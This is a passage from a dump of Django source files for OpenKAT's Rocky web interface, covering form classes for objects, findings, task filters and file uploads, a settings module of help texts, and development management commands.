forms.CharField(widget=forms.HiddenInput(attrs={\"value\": \"score\"}), required=False)\n"
  },
  {
    "path": "rocky/tools/forms/ooi.py",
    "content": "from typing import Any\n\nfrom django import forms\nfrom django.utils.translation import gettext_lazy as _\n\nfrom octopoes.models import OOI\nfrom rocky.scheduler import ScheduleResponse\nfrom tools.forms.base import BaseRockyForm, CheckboxTable, LabeledCheckboxInput, ObservedAtForm\nfrom tools.forms.settings import DEPTH_DEFAULT, DEPTH_HELP_TEXT, DEPTH_MAX, SCAN_LEVEL_CHOICES\n\n\nclass OOIReportSettingsForm(ObservedAtForm):\n    depth = forms.IntegerField(\n        initial=DEPTH_DEFAULT, min_value=1, max_value=DEPTH_MAX, required=False, help_text=DEPTH_HELP_TEXT\n    )\n\n\nclass OoiTreeSettingsForm(OOIReportSettingsForm):\n    ooi_type = forms.MultipleChoiceField(label=_(\"Filter types\"), widget=forms.CheckboxSelectMultiple(), required=False)\n\n    def __init__(self, ooi_types: list[str], *args: Any, **kwargs: Any):\n        super().__init__(*args, **kwargs)\n        self.set_ooi_types(ooi_types)\n\n    def set_ooi_types(self, ooi_types: list[str]) -> None:\n        if not ooi_types:\n            self.fields.pop(\"ooi_type\", None)\n            return\n        ooi_types_choices = [(type_, type_) for type_ in ooi_types]\n        self.set_choices_for_field(\"ooi_type\", ooi_types_choices)\n\n\nclass SelectOOIForm(BaseRockyForm):\n    ooi = forms.MultipleChoiceField(\n        label=_(\"Objects\"),\n        widget=CheckboxTable(\n            column_names=(\"Object\", _(\"Type\"), _(\"Clearance Level\"), _(\"Next scan\")),\n            column_templates=(\n                \"partials/hyperlink_ooi_id.html\",\n                \"partials/hyperlink_ooi_type.html\",\n                \"partials/scan_level_indicator.html\",\n                \"partials/ooi_schedule.html\",\n            ),\n        ),\n    )\n\n    def __init__(\n        self,\n        oois: list[tuple[OOI, ScheduleResponse | None]],\n        organization_code: str,\n        mandatory_fields: list | None = None,\n        *args,\n        **kwargs,\n    ):\n        super().__init__(*args, **kwargs)\n        self.fields[\"ooi\"].widget.attrs[\"organization_code\"] = organization_code\n        if mandatory_fields:\n            self.fields[\"ooi\"].widget.attrs[\"mandatory_fields\"] = mandatory_fields\n        self.set_choices_for_field(\"ooi\", [self._to_choice(ooi) for ooi in oois])\n        if len(self.fields[\"ooi\"].choices) == 1:\n            self.fields[\"ooi\"].initial = self.fields[\"ooi\"].choices[0][0]\n\n    @staticmethod\n    def _to_choice(ooi_with_schedule: tuple[OOI, ScheduleResponse | None]) -> tuple[str, Any]:\n        ooi, schedule = ooi_with_schedule[0], ooi_with_schedule[1]\n\n        return str(ooi), (ooi, ooi, ooi.scan_profile.level if ooi.scan_profile else 0, schedule)\n\n\nclass SelectOOIFilterForm(BaseRockyForm):\n    show_all = forms.NullBooleanField(\n        label=_(\"Show objects that don't meet the Boefjes scan level.\"),\n        widget=forms.CheckboxInput(attrs={\"class\": \"submit-on-click\"}),\n    )\n\n\nclass PossibleBoefjesFilterForm(BaseRockyForm):\n    show_all = forms.NullBooleanField(\n        widget=LabeledCheckboxInput(label=_(\"Show Boefjes that exceed the objects clearance level.\"), autosubmit=True)\n    )\n\n\nclass SetClearanceLevelForm(forms.Form):\n    clearance_type = forms.CharField(\n        required=True,\n        label=_(\"Clearance type\"),\n        widget=forms.RadioSelect(\n            choices=[(\"inherited\", \"Inherited\"), (\"declared\", \"Declared\")],\n            attrs={\"class\": \"radio-choice\", \"data-choicegroup\": \"scan_type_selector\"},\n        ),\n        initial=\"inherited\",\n    )\n\n    level = forms.IntegerField(\n        required=False,\n        label=_(\"Clearance level\"),\n        help_text=_(\n            \"All the boefjes with a scan level below or equal to the clearance level will \"\n            \"be allowed to scan this object.\"\n        ),\n        error_messages={\"level\": {\"required\": _(\"Please select a clearance level to proceed.\")}},\n        widget=forms.Select(\n            choices=SCAN_LEVEL_CHOICES,\n            attrs={\"aria-describedby\": _(\"explanation-clearance-level\"), \"class\": \"scan_type_selector declared\"},\n        ),\n    )\n\n\nclass MuteFindingForm(forms.Form):\n    finding = forms.CharField(widget=forms.HiddenInput(), required=False)\n    ooi_type = forms.CharField(widget=forms.HiddenInput(), required=False)\n    reason = forms.CharField(widget=forms.Textarea(attrs={\"name\": \"reason\", \"rows\": \"3\", \"cols\": \"5\"}), required=False)\n    end_valid_time = forms.DateTimeField(\n        label=_(\"Expires by (UTC)\"),\n        widget=forms.DateTimeInput(attrs={\"name\": \"end_valid_time\", \"type\": \"datetime-local\"}),\n        required=False,\n    )\n"
  },
  {
    "path": "rocky/tools/forms/ooi_form.py",
    "content": "from datetime import datetime, timezone\nfrom enum import Enum\nfrom inspect import isclass\nfrom ipaddress import IPv4Address, IPv6Address\nfrom typing import Any, Literal, TypedDict, Union, get_args, get_origin\n\nfrom django import forms\nfrom django.utils.translation import gettext_lazy as _\nfrom pydantic import AnyUrl\nfrom pydantic.fields import FieldInfo\n\nfrom octopoes.connector.octopoes import OctopoesAPIConnector\nfrom octopoes.models import OOI\nfrom octopoes.models.ooi.question import Question\nfrom octopoes.models.types import get_collapsed_types, get_relations\nfrom tools.enums import SCAN_LEVEL\nfrom tools.forms.base import BaseRockyForm, ObservedAtForm\nfrom tools.forms.findings import FindingSearchForm, FindingSeverityMultiSelectForm, MutedFindingSelectionForm\nfrom tools.forms.settings import CLEARANCE_TYPE_CHOICES\n\n\nclass OOIForm(BaseRockyForm):\n    def __init__(self, ooi_class: type[OOI], connector: OctopoesAPIConnector, *args: Any, **kwargs: Any):\n        self.user_id = kwargs.pop(\"user_id\", None)\n        super().__init__(*args, **kwargs)\n        self.ooi_class = ooi_class\n        self.api_connector = connector\n        self.initial = kwargs.get(\"initial\", {})\n\n        fields = self.get_fields()\n        for name, field in fields.items():\n            self.fields[name] = field\n\n    def clean(self):\n        super().clean()[\"user_id\"] = self.user_id\n        return {key: value for key, value in super().clean().items() if value}\n\n    def get_fields(self) -> dict[str, forms.fields.Field]:\n        return self.generate_form_fields()\n\n    def generate_form_fields(self, hidden_ooi_fields: dict[str, str] | None = None) -> dict[str, forms.fields.Field]:\n        fields: dict[str, forms.fields.Field] = {}\n        for name, field in self.ooi_class.model_fields.items():\n            annotation = field.annotation\n            default_attrs = default_field_options(name, field)\n            # if annotation is an Union, get the first non-optional type\n            optional_type = get_args(annotation)[0] if get_origin(annotation) == Union else None\n\n            if name == \"primary_key\":\n                continue\n\n            if name == \"user_id\":\n                continue\n\n            # skip literals\n            if hasattr(annotation, \"__origin__\") and annotation.__origin__ == Literal:\n                continue\n\n            # skip scan_profile\n            if name == \"scan_profile\":\n                continue\n\n            if hidden_ooi_fields and name in hidden_ooi_fields:\n                # Hidden ooi fields will have the value of an OOI ID\n                fields[name] = forms.CharField(widget=forms.HiddenInput())\n            elif name in get_relations(self.ooi_class):\n                fields[name] = generate_select_ooi_field(\n                    self.api_connector, name, field, get_relations(self.ooi_class)[name], self.initial.get(name, None)\n                )\n            elif annotation in [IPv4Address, IPv6Address]:\n                fields[name] = generate_ip_field(field)\n            elif annotation == AnyUrl:\n                fields[name] = generate_url_field(field)\n            elif annotation is dict or annotation == list[str] or annotation == dict[str, Any]:\n                fields[name] = forms.JSONField(**default_attrs)\n            elif annotation is int or (hasattr(annotation, \"__args__\") and int in annotation.__args__):\n                fields[name] = forms.IntegerField(**default_attrs)\n            elif isclass(annotation) and issubclass(annotation, Enum):\n                fields[name] = generate_select_ooi_type(name, annotation, field)\n            elif self.ooi_class == Question and name == \"json_schema\":\n                fields[name] = forms.CharField(**default_attrs)\n            elif isclass(annotation) and issubclass(annotation, str) or optional_type is str:\n                if name in self.ooi_class.__annotations__ and self.ooi_class.__annotations__[name] == dict[str, str]:\n                    fields[name] = forms.JSONField(**default_attrs)\n                else:\n                    fields[name] = forms.CharField(\n                        max_length=256, **default_attrs, empty_value=None if not field.is_required() else \"\"\n                    )\n            else:\n                fields[name] = forms.CharField(max_length=256, **default_attrs)\n\n        # ruff: noqa: ERA001\n        # Currently we are not ready to use the following line as the\n        # event manager is not aware of the deletion of a generic OOI\n        # it does work for 'end-point'-OOIs like MutedFinding and the\n        # field is hidden for now\n        # fields[\"end_valid_time\"] = forms.DateTimeField(\n        #     label=\"Expires by\",\n        #     widget=forms.DateTimeInput(attrs={\"type\": \"datetime-local\"}),\n        #     required=False,\n        # )\n        fields[\"end_valid_time\"] = forms.DateTimeField(widget=forms.HiddenInput(), required=False)\n\n        return fields\n\n\ndef generate_select_ooi_field(\n    api_connector: OctopoesAPIConnector,\n    name: str,\n    field: FieldInfo,\n    related_ooi_type: type[OOI],\n    initial: str | None = None,\n) -> forms.fields.Field:\n    # field is a relation, query all objects, and build select\n    default_attrs = default_field_options(name, field)\n    is_multiselect = getattr(field.annotation, \"__origin__\", None) is list\n    option_label = default_attrs.get(\"label\", _(\"option\"))\n\n    option_text = \"-- \" + _(\"Optionally choose a {option_label}\").format(option_label=option_label) + \" --\"\n    if field.is_required():\n        option_text = \"-- \" + _(\"Please choose a {option_label}\").format(option_label=option_label) + \" --\"\n\n    # Generate select options\n    select_options = [] if is_multiselect else [(\"\", option_text)]\n\n    if initial:\n        select_options.append((initial, initial))\n\n    oois = api_connector.list_objects({related_ooi_type}, datetime.now(timezone.utc)).items\n    select_options.extend([(ooi.primary_key, ooi.primary_key) for ooi in oois])\n\n    if is_multiselect:\n        return forms.MultipleChoiceField(\n            widget=forms.SelectMultiple(), choices=select_options, initial=initial, **default_attrs\n        )\n\n    return forms.CharField(widget=forms.Select(choices=select_options), **default_attrs)\n\n\ndef generate_select_ooi_type(name: str, enumeration: type[Enum], field: FieldInfo) -> forms.fields.Field:\n    \"\"\"OOI Type (enum) fields will have a select input\"\"\"\n    default_attrs = default_field_options(name, field)\n    choices = [(entry.value, entry.name) for entry in list(enumeration)]\n\n    return forms.CharField(widget=forms.Select(choices=choices), **default_attrs)\n\n\ndef generate_ip_field(field: FieldInfo) -> forms.fields.Field:\n    \"\"\"IPv4 and IPv6 fields will have a text input\"\"\"\n    default_attrs = default_field_options(\"\", field)\n    protocol = \"IPv4\" if field.annotation == IPv4Address else \"IPv6\"\n    return forms.GenericIPAddressField(protocol=protocol, **default_attrs)\n\n\ndef generate_url_field(field: FieldInfo) -> forms.fields.Field:\n    \"\"\"URL fields will have a text input\"\"\"\n    default_attrs = default_field_options(\"\", field)\n    if default_attrs.get(\"label\") == \"raw\":\n        default_attrs.update({\"label\": \"URL\"})\n    attrs = {\"assume_scheme\": \"https\", **default_attrs}\n    field = forms.URLField(**attrs)\n    field.widget.attrs.update({\"placeholder\": \"https://example.org\"})\n    return field\n\n\nclass DefaultFieldOptions(TypedDict):\n    label: str\n    required: bool\n\n\ndef default_field_options(name: str, field_info: FieldInfo) -> DefaultFieldOptions:\n    return {\"label\": name, \"required\": field_info.is_required()}\n\n\nclass ClearanceFilterForm(BaseRockyForm):\n    clearance_level = forms.MultipleChoiceField(\n        label=_(\"Filter by clearance level\"),\n        choices=SCAN_LEVEL.choices,\n        widget=forms.CheckboxSelectMultiple,\n        required=False,\n    )\n    clearance_type = forms.MultipleChoiceField(\n        label=_(\"Filter by clearance type\"),\n        choices=CLEARANCE_TYPE_CHOICES,\n        widget=forms.CheckboxSelectMultiple,\n        required=False,\n    )\n\n\n_EXCLUDED_OOI_TYPES = (\n    \"Finding\",\n    \"FindingType\",\n    \"Report\",\n    \"AssetReport\",\n    \"BaseReport\",\n    \"ReportRecipe\",\n    \"ReportData\",\n    \"HydratedReport\",\n)\n\nSORTED_OOI_TYPES = sorted(\n    [\n        ooi_class.get_ooi_type()\n        for ooi_class in get_collapsed_types()\n        if ooi_class.get_ooi_type() not in _EXCLUDED_OOI_TYPES\n    ]\n)\n\nOOI_TYPE_CHOICES = ((ooi_type, ooi_type) for ooi_type in SORTED_OOI_TYPES)\n\n\nclass OOITypeMultiCheckboxForm(BaseRockyForm):\n    ooi_type = forms.MultipleChoiceField(\n        label=_(\"Filter by OOI types\"), required=False, choices=OOI_TYPE_CHOICES, widget=forms.CheckboxSelectMultiple\n    )\n\n\nclass OOISearchForm(BaseRockyForm):\n    search = forms.CharField(label=_(\"Search\"), required=False, max_length=256, help_text=\"Object ID contains\")\n\n\nclass OrderByObjectTypeForm(BaseRockyForm):\n    order_by = forms.CharField(widget=forms.HiddenInput(attrs={\"value\": \"object_type\"}), required=False)\n\n\nclass CustomMultipleHiddenInput(forms.MultipleHiddenInput):\n    def format_value(self, value):\n        if isinstance(value, str):\n            return [value]\n        return super().format_value(value)\n\n    def render(self, name, value, attrs=None, renderer=None):\n        # Custom render logic if needed\n        value = self.format_value(value)\n        return super().render(name, value, attrs, renderer=renderer)\n\n\nclass OOIFilterForm(OOISearchForm, ClearanceFilterForm, OOITypeMultiCheckboxForm, ObservedAtForm):\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self.fields[\"observed_at\"].widget = forms.HiddenInput()\n        self.fields[\"ooi_type\"].widget = CustomMultipleHiddenInput()\n        self.fields[\"clearance_level\"].widget = CustomMultipleHiddenInput()\n        self.fields[\"clearance_type\"].widget = CustomMultipleHiddenInput()\n        self.fields[\"search\"].widget = forms.HiddenInput()\n\n    def get_query(self) -> dict[str, Any]:\n        observed_at = self.cleaned_data.get(\"observed_at\")\n        return {\n            \"observed_at\": observed_at.strftime(\"%Y-%m-%d\") if observed_at else None,\n            \"ooi_type\": self.cleaned_data.get(\"ooi_type\", []),\n            \"clearance_level\": self.cleaned_data.get(\"clearance_level\", []),\n            \"clearance_type\": self.cleaned_data.get(\"clearance_type\", []),\n            \"search\": self.cleaned_data.get(\"search\", \"\"),\n        }\n\n\nclass FindingFilterForm(FindingSearchForm, MutedFindingSelectionForm, FindingSeverityMultiSelectForm, ObservedAtForm):\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self.fields[\"observed_at\"].widget = forms.HiddenInput()\n        self.fields[\"muted_findings\"].widget = forms.HiddenInput()\n        self.fields[\"severity\"].widget = CustomMultipleHiddenInput()\n        self.fields[\"search\"].widget = forms.HiddenInput()\n\n    def get_query(self) -> dict[str, Any]:\n        observed_at = self.cleaned_data.get(\"observed_at\")\n        return {\n            \"observed_at\": observed_at.strftime(\"%Y-%m-%d\") if observed_at else None,\n            \"severity\": self.cleaned_data.get(\"severity\"),\n            \"muted_findings\": self.cleaned_data.get(\"muted_findings\", \"non-muted\"),\n            \"search\": self.cleaned_data.get(\"search\", \"\"),\n        }\n"
  },
  {
    "path": "rocky/tools/forms/scheduler.py",
    "content": "from datetime import datetime, timezone\n\nfrom django import forms\nfrom django.utils.translation import gettext_lazy as _\n\nfrom tools.forms.base import DateInput\n\n\nclass TaskFilterForm(forms.Form):\n    min_created_at = forms.DateField(label=_(\"From\"), widget=DateInput(format=\"%Y-%m-%d\"), required=False)\n    max_created_at = forms.DateField(label=_(\"To\"), widget=DateInput(format=\"%Y-%m-%d\"), required=False)\n    status = forms.ChoiceField(\n        choices=(\n            (\"\", _(\"All\")),\n            (\"cancelled\", _(\"Cancelled\")),\n            (\"completed\", _(\"Completed\")),\n            (\"dispatched\", _(\"Dispatched\")),\n            (\"failed\", _(\"Failed\")),\n            (\"pending\", _(\"Pending\")),\n            (\"queued\", _(\"Queued\")),\n            (\"running\", _(\"Running\")),\n        ),\n        required=False,\n    )\n    ooi_search = forms.CharField(\n        label=_(\"Search (in OOI)\"),\n        widget=forms.TextInput(attrs={\"placeholder\": _(\"Search by object name\")}),\n        required=False,\n    )\n    ooi_id = forms.CharField(\n        label=_(\"Input OOI\"), widget=forms.TextInput(attrs={\"placeholder\": _(\"Select specific object\")}), required=False\n    )\n    plugin_id = forms.CharField(\n        label=_(\"Plugin\"), widget=forms.TextInput(attrs={\"placeholder\": _(\"Search by plugin\")}), required=False\n    )\n    task_id = forms.CharField(\n        label=_(\"Task id\"), widget=forms.TextInput(attrs={\"placeholder\": _(\"Search by task ID\")}), required=False\n    )\n\n    organizations = forms.MultipleChoiceField(choices=(), required=False)\n\n    def __init__(self, *args, organizations=None, **kwargs):\n        super().__init__(*args, **kwargs)\n\n        if organizations is not None:\n            choices = [(\"\", _(\"All\"))]\n            choices.extend([(org, org) for org in organizations])\n            self.fields[\"organizations\"].choices = choices\n\n    def clean(self):\n        cleaned_data = super().clean()\n\n        min_created_at = cleaned_data.get(\"min_created_at\")\n        max_created_at = cleaned_data.get(\"max_created_at\")\n\n        date_message = _(\"The selected date (%s) is in the future. Please select a different date.\")\n\n        now = datetime.now(tz=timezone.utc)\n\n        if min_created_at is not None and min_created_at > now.date():\n            self.add_error(\"min_created_at\", date_message % _(\"'from'\"))\n\n        if max_created_at is not None and max_created_at > now.date():\n            self.add_error(\"max_created_at\", date_message % _(\"'to'\"))\n\n        # swap dates around if user swapped them by accident.\n        if min_created_at is not None and max_created_at is not None and min_created_at > max_created_at:\n            cleaned_data[\"max_created_at\"] = min_created_at\n            cleaned_data[\"min_created_at\"] = max_created_at\n\n        return cleaned_data\n\n\nclass OrganizationTaskFilterForm(TaskFilterForm):\n    organizations = None\n\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n\n\nclass OOIDetailTaskFilterForm(OrganizationTaskFilterForm):\n    \"\"\"\n    Task filter at OOI detail to pass observed_at and ooi_id values.\n    \"\"\"\n\n    observed_at = forms.CharField(widget=forms.HiddenInput(), required=False)\n    ooi_id = forms.CharField(widget=forms.HiddenInput(), required=False)\n\n    # No need to search for OOI if you are already at the OOI detail page.\n    ooi_search = None\n"
  },
  {
    "path": "rocky/tools/forms/settings.py",
    "content": "from django.utils.functional import Promise\nfrom django.utils.safestring import mark_safe\nfrom django.utils.translation import gettext_lazy as _\n\nfrom tools.enums import SCAN_LEVEL\n\nChoice = tuple[str, Promise]\nChoices = list[Choice]\nChoicesGroup = tuple[str, Choices]\nChoicesGroups = list[ChoicesGroup]\n\nBLANK_CHOICE = (\"\", _(\"--- Please select one of the available options ----\"))\nFILTER_BLANK_CHOICE = (\"\", _(\"--- Show all ----\"))\n\nRISK_RATING_CHOICES: Choices = [\n    BLANK_CHOICE,\n    (\"recommendation\", _(\"recommendation\")),\n    (\"low\", _(\"low\")),\n    (\"medium\", _(\"medium\")),\n    (\"high\", _(\"high\")),\n    (\"very high\", _(\"very high\")),\n    (\"critical\", _(\"critical\")),\n]\n\nPIE_SCALE_EFFORT_CHOICES: Choices = [\n    BLANK_CHOICE,\n    (\"quickfix\", _(\"quickfix\")),\n    (\"low\", _(\"low\")),\n    (\"medium\", _(\"medium\")),\n    (\"high\", _(\"high\")),\n]\n\nPIE_SCALE_CHOICES: Choices = [BLANK_CHOICE, (\"low\", _(\"low\")), (\"medium\", _(\"medium\")), (\"high\", _(\"high\"))]\n\nCLEARANCE_TYPE_CHOICES = [(\"declared\", _(\"Declared\")), (\"inherited\", _(\"Inherited\")), (\"empty\", _(\"Empty\"))]\nSCAN_LEVEL_CHOICES = SCAN_LEVEL.choices\n\nMANUAL_FINDING_ID_PREFIX = \"KAT-\"\n\nFINDING_TYPE_IDS_HELP_TEXT = _(\"Add one finding type ID per line.\")\n\nFINDING_DATETIME_HELP_TEXT = _(\"Add the date and time of your finding (UTC)\")\n\nRAW_FILE_DATETIME_HELP_TEXT = _(\"Add the date and time of when the raw file was generated (UTC)\")\n\nOBSERVED_AT_HELP_TEXT = _(\n    \"OpenKAT stores a time indication with every observation, \"\n    \"so it is possible to see the status of your network through time. \"\n    \"Select a datetime to change the view to represent that moment in time.\"\n)\n\nBOEFJE_CONTAINER_IMAGE_HELP_TEXT = mark_safe(\n    _(\n        \"<p>The name of the Docker image. For example: <i>'ghcr.io/minvws/openkat/nmap'</i>. \"\n        \"In OpenKAT, all Boefjes with the same container image will be seen as 'variants' and will be \"\n        \"shown together on the Boefje detail page. </p> \"\n    )\n)\n\nBOEFJE_DESCRIPTION_HELP_TEXT = _(\n    \"A description of the Boefje explaining in short what it can do. \"\n    \"This will both be displayed inside the KAT-alogus and on the Boefje details page.\"\n)\n\n\nBOEFJE_CONSUMES_HELP_TEXT = _(\n    \"Select the object type(s) that your Boefje consumes. \"\n    \"To select multiple objects, press and hold the 'ctrl'/'command' key \"\n    \"and then click the items you want to select. \"\n)\n\nBOEFJE_SCHEMA_HELP_TEXT = mark_safe(\n    _(\n        \"<p>If any other settings are needed for your Boefje, add these as a JSON Schema, \"\n        \"otherwise, leave the field empty or 'null'.</p> \"\n        \"<p> This JSON is used as the basis for a form for the user. \"\n        \"When the user enables this Boefje they can get the option to give extra information. \"\n        \"For example, it can contain an API key that the script requires.</p> \"\n        \"<p>More information about what the schema.json file looks like can be found \"\n        \"<a href='https://docs.openkat.nl/developer_documentation/development_tutorial/creating_a_boefje.html'> \"\n        \"here</a>.</p> \"\n    )\n)\n\nBOEFJE_PRODUCES_HELP_TEXT = mark_safe(\n    _(\n        \"<p>Add a set of mime types that are produced by this Boefje, separated by commas. \"\n        \"For example: <i>'text/html'</i>, <i>'image/jpeg'</i> or <i>'boefje/{boefje-id}'</i></p> \"\n        \"<p>These output mime types will be shown on the Boefje detail page as information for other users. </p> \"\n    )\n)\nBOEFJE_SCAN_LEVEL_HELP_TEXT = mark_safe(\n    _(\n        \"<p>Select a clearance level for your Boefje. For more information about the different \"\n        \"clearance levels please check the \"\n        \"<a href='https://docs.openkat.nl/manual/usermanual.html#scan-levels-clearance-indemnities'> \"\n        \"documentation</a>.</p> \"\n    )\n)\n\nBOEFJE_RUN_ON_HELP_TEXT = _(\n    \"Choose when this Boefje will scan objects. \"\n    \"It can run on a given interval or it can run every time an object \"\n    \"has been created or changed. \"\n)\n\nDEPTH_DEFAULT = 9\nDEPTH_MAX = 15\nDEPTH_HELP_TEXT = _(\"Depth of the tree.\")\n"
  },
  {
    "path": "rocky/tools/forms/upload_csv.py",
    "content": "from django import forms\nfrom django.utils.translation import gettext as _\n\nCSV_ERRORS = {\n    \"only_csv\": _(\"Only CSV file supported\"),\n    \"decoding\": _(\"File could not be decoded\"),\n    \"no_file\": _(\"No file selected\"),\n    \"empty_file\": _(\"The uploaded file is empty.\"),\n    \"bad_columns\": _(\"The number of columns do not meet the requirements.\"),\n    \"bad_ooi_type\": _(\"OOI Type in CSV does not meet the criteria.\"),\n    \"csv_error\": _(\"An error has occurred during the parsing of the csv file:\"),\n}\n\n\nclass UploadCSVForm(forms.Form):\n    csv_file = forms.FileField(\n        label=_(\"Upload CSV file\"), help_text=_(\"Only accepts CSV file.\"), allow_empty_file=False\n    )\n\n    def clean_csv_file(self):\n        csv_file = self.cleaned_data[\"csv_file\"]\n        if not csv_file.name.endswith(\".csv\"):\n            self.add_error(\"csv_file\", CSV_ERRORS[\"only_csv\"])\n        try:\n            csv_file.read().decode(\"UTF-8\")\n            csv_file.seek(0)  # set cursor back at the beginning of line\n        except UnicodeDecodeError:\n            self.add_error(\"csv_file\", CSV_ERRORS[\"decoding\"])\n        return csv_file\n"
  },
  {
    "path": "rocky/tools/forms/upload_oois.py",
    "content": "from django import forms\nfrom django.utils.translation import gettext as _\n\nfrom tools.forms.settings import BLANK_CHOICE\nfrom tools.forms.upload_csv import UploadCSVForm\n\nOOI_TYPE_CHOICES = [\n    BLANK_CHOICE,\n    (\"URL\", \"URL\"),\n    (\"Hostname\", \"Hostname\"),\n    (\"IPAddressV4\", \"IPAddressV4\"),\n    (\"IPAddressV6\", \"IPAddressV6\"),\n]\n\n\nclass UploadOOICSVForm(UploadCSVForm):\n    object_type = forms.ChoiceField(\n        label=_(\"Object Type\"),\n        choices=OOI_TYPE_CHOICES,\n        help_text=_(\"Choose a type of which objects are added.\"),\n        required=True,\n    )\n"
  },
  {
    "path": "rocky/tools/forms/upload_raw.py",
    "content": "from datetime import datetime, timezone\n\nfrom django import forms\nfrom django.utils.safestring import mark_safe\nfrom django.utils.translation import gettext as _\n\nfrom octopoes.connector.octopoes import OctopoesAPIConnector\nfrom octopoes.models import Reference\nfrom octopoes.models.exception import ObjectNotFoundException\nfrom tools.forms.base import BaseRockyForm, DataListInput, DateTimeInput\nfrom tools.forms.settings import RAW_FILE_DATETIME_HELP_TEXT\n\n\nclass UploadRawForm(BaseRockyForm):\n    mime_types = forms.CharField(\n        label=_(\"Mime types\"),\n        help_text=mark_safe(\n            _(\n                '<p>Add a set of mime types, separated by commas, for example:</p><p><i>\"text/html, image/jpeg\"</i> or '\n                '<i>\"boefje/dns-records\"</i>.</p><p>Mime types are used to match the correct normalizer to a raw file. '\n                'When the mime type \"boefje/dns-records\" is added, the normalizer expects the raw file to contain dns '\n                \"scan information.</p>\"\n            )\n        ),\n        required=True,\n        widget=forms.TextInput(attrs={\"placeholder\": \"text/html, image/jpeg, ...\"}),\n    )\n    raw_file = forms.FileField(label=_(\"Upload raw file\"), allow_empty_file=False, required=True)\n\n    ooi_id = forms.CharField(\n        label=_(\"Input or Scan OOI\"),\n        required=True,\n        widget=DataListInput(\n            attrs={\"placeholder\": _(\"Click to select one of the available options, or type one yourself\")}\n        ),\n    )\n\n    date = forms.DateTimeField(\n        label=_(\"Date/Time (UTC)\"), widget=DateTimeInput(format=\"%Y-%m-%dT%H:%M\"), help_text=RAW_FILE_DATETIME_HELP_TEXT\n    )\n\n    def __init__(self, connector: OctopoesAPIConnector, ooi_list: list[tuple[str, str]], *args, **kwargs):\n        observed_at = kwargs.pop(\"observed_at\", None)\n        super().__init__(*args, **kwargs)\n        self.octopoes_connector = connector\n        self.set_choices_for_widget(\"ooi_id\", ooi_list)\n\n        if observed_at:\n            try:\n                parsed_date = (\n                    datetime.strptime(observed_at, \"%Y-%m-%d\").replace(tzinfo=timezone.utc).replace(hour=23, minute=59)\n                )\n                self.fields[\"date\"].initial = parsed_date\n            except ValueError:\n                self.fields[\"date\"].initial = datetime.now(tz=timezone.utc)\n        else:\n            self.fields[\"date\"].initial = datetime.now(tz=timezone.utc)\n\n    def clean_mime_types(self) -> set[str]:\n        mime_types = self.cleaned_data[\"mime_types\"]\n\n        return {mime_type.strip() for mime_type in mime_types.split(\",\") if mime_type.strip()}\n\n    def clean(self):\n        cleaned_data = super().clean()\n\n        date = self.cleaned_data[\"date\"]\n        ooi_id = self.data[\"ooi_id\"]\n\n        # date should not be in the future\n        if date > datetime.now(tz=timezone.utc):\n            self.add_error(\"date\", _(\"Doc! I'm from the future, I'm here to take you back!\"))\n\n        try:\n            cleaned_data[\"ooi\"] = self.octopoes_connector.get(Reference.from_str(ooi_id), date)\n        except ObjectNotFoundException:\n            self.add_error(\"ooi_id\", _(\"OOI doesn't exist, try another valid time\"))\n\n        return cleaned_data\n"
  },
  {
    "path": "rocky/tools/management/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/tools/management/commands/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/tools/management/commands/almost_flush.py",
    "content": "import structlog\nfrom django.contrib.auth import get_user_model\nfrom django.contrib.auth.models import Group\nfrom django.core.management import BaseCommand, call_command\nfrom django_otp.plugins.otp_totp.models import TOTPDevice\n\nfrom tools.models import Indemnification, OrganizationMember\n\nUser = get_user_model()\nlogger = structlog.get_logger(__name__)\n\n\nclass Command(BaseCommand):\n    help = (\n        \"Helper command for testing and development purposes only: \"\n        \"flushes the db but adds the first User, Organization and OrganizationMember again (including OTP setup)\"\n    )\n\n    def handle(self, **options):\n        if not User.objects.filter(id=1).exists():\n            logger.info(\"No first user present\")\n            return\n\n        device, first_user, groups, member, indemnification = self.collect_entities()\n\n        call_command(\"flush\", interactive=False)\n        call_command(\"loaddata\", \"OOI_database_seed.json\")\n        call_command(\"setup_dev_account\")\n\n        self.save_entities_again(device, first_user, groups, member, indemnification)\n\n    def collect_entities(self):\n        first_user = User.objects.get(id=1)\n        groups = Group.objects.filter(user=first_user)\n\n        member, device, indemnification = None, None, None\n\n        if OrganizationMember.objects.filter(user=first_user).exists():\n            member = OrganizationMember.objects.filter(user=first_user).first()\n\n            if Indemnification.objects.filter(user=first_user, organization=member.organization).exists():\n                indemnification = Indemnification.objects.filter(\n                    user=first_user, organization=member.organization\n                ).first()\n\n        if TOTPDevice.objects.filter(user=first_user).exists():\n            device = TOTPDevice.objects.filter(user=first_user).first()\n\n        if Indemnification.objects.filter(user=first_user).exists():\n            device = TOTPDevice.objects.filter(user=first_user).first()\n\n        return device, first_user, groups, member, indemnification\n\n    def save_entities_again(self, device, first_user, groups, member, indemnification):\n        first_user.save()\n        logger.info(\"Saved user\")\n\n        for group in groups:\n            group.user_set.add(first_user)\n            logger.info(\"Added user to group %s\", group.name)\n\n        if device:\n            device.save()\n            logger.info(\"Saved device\")\n\n        if member:\n            member.organization.save()\n            logger.info(\"Saved organization %s again\", member.organization.name)\n\n            member.save()\n            logger.info(\"Saved organization member again\")\n\n            if indemnification:\n                indemnification.save()\n                logger.info(\"Saved indemnification again\")\n"
  },
  {
    "path": "rocky/tools/management/commands/export_migrations.py",
    "content": "from pathlib import Path\nfrom typing import Any\n\nimport structlog\nfrom django.core.management import BaseCommand, CommandParser\nfrom django.db import DEFAULT_DB_ALIAS, connections\nfrom django.db.migrations.loader import MigrationLoader\nfrom django.db.migrations.recorder import MigrationRecorder\n\nlogger = structlog.get_logger(__name__)\n\n\nclass Command(BaseCommand):\n    help = \"Export migrations to SQL\"\n\n    def add_arguments(self, parser: CommandParser) -> None:\n        parser.add_argument(\"app\", action=\"store\", type=str, help=\"Django app\")\n        parser.add_argument(\"from_id\", action=\"store\", type=int, help=\"Migration id to start from\")\n        parser.add_argument(\"--output-folder\", action=\"store\", default=\"export_migrations\", help=\"Output folder\")\n\n    def handle(self, **options: Any) -> None:\n        # Get the database we're operating from\n        connection = connections[DEFAULT_DB_ALIAS]\n\n        # Load up a loader to get all the migration data, but don't replace migrations\n        loader = MigrationLoader(connection, replace_migrations=False)\n\n        # Create output folder\n 